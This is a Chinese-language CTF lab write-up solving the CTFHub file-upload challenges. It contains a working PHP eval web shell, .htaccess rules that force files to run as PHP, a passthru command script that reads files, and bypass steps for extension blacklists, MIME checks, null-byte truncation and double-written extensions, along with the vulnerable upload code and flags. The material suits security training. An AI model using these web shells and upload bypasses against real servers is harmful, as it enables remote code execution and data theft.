介绍:记录解题过程
1.无验证
- 编写PHP一句话木马
<?php
echo "上传成功";
eval($_POST['cmd']);
?>
- 无验证直接上传
- 回显
上传文件相对路径
upload/shell.php
<?php // ctfhub{c1a224871866a2b954019c3a}
2.前端验证
- 上传代码:
<h1>CTFHub 文件上传 - js前端验证</h1>
<form action="" method="post" enctype="multipart/form-data" onsubmit="return checkfilesuffix()">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
<script>alert('上传成功')</script>上传文件相对路径<br>upload/shell.php<!DOCTYPE html>
<html>
- 使用蚁剑连接后台得的flag
<?php // ctfhub{5fed6bd487cb10fc44595f14}
3. .htaccess
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
- 后台php验证
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$ext = pathinfo($name)['extension'];
$blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");
if (!in_array($ext, $blacklist)) {
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
echo "<script>alert('上传成功')</script>";
echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "<script>alert('文件类型不匹配')</script>";
}
}
方法一:
参考:
【CTF整理】CTFhub技能树-Web-文件上传-.htaccess
- 先写一个.htaccess文件上传
<FilesMatch "sj"> //sj随便写的,后面上传的文件没有后缀,就叫sj
SetHandler application/x-httpd-php
</FilesMatch>
- 然后写sj文件内容如下:
<?php
#passthru("ls /var/www/html/"); //第一次只写这一行,用来找flag文件在哪里
passthru("cat /var/www/html/flag_229326633.php");//第二次是找到了flag文件之后,直接读取内容
?>
- 第一次上传sj文件
flag_2548725103.php index.php upload
- 第二次上传sj文件,查看源码得的flag:
<?php // ctfhub{1eda6fc94520536b6d7adf5b}
方法二:
- 根据htaccess文件的特性,这道题可以重写文件的解析规则进行绕过。先上传一个名为.htaccess文件,将原有的文件替换掉。其内容如下:
- 意思是将文件名中带有 3 的文件当作php文件解析。
<FilesMatch "3">
SetHandler application/x-httpd-php
</FilesMatch>
- 使用蚁剑连接后台得的flag
<?php // ctfhub{1eda6fc94520536b6d7adf5b}
方法三:
- 根据htaccess文件的特性,这道题可以重写文件的解析规则进行绕过。先上传一个名为.htaccess文件,将原有的文件替换掉。其内容如下:
AddType application/x-httpd-php .png
- 意思是将.png后缀的文件当作php文件解析
- 使用蚁剑连接后台得的flag
<?php // ctfhub{1eda6fc94520536b6d7adf5b}
3.MIME绕过
Content-Type: image/png
-
步骤与
2.前端验证
一模一样
上传shell.png再在BurpSuite改后缀成shell.php即可上传 -
得的flag
<?php // ctfhub{9c5857530ee6e8128a787182}
4.文件头检查
- List item
5.00截断
了解一下 PHP 5.2 00截断上传的原理
https://www.fujieace.com/penetration-test/file-upload-00.html
<!--
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension'];
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "<script>alert('上传成功')</script>";
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "文件类型不匹配";
}
}
-->
<?php // ctfhub{7d6eb2f822228a57e111d124}
6. 双写后缀
- 依据提示双写后缀,上传shell.pphphp文件
上传文件相对路径
upload/shell.php
2.上传成功,使用蚁剑连接后台得的flag
<?php // ctfhub{ac1ea1254b2c9fe27c5eb368}
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92710.html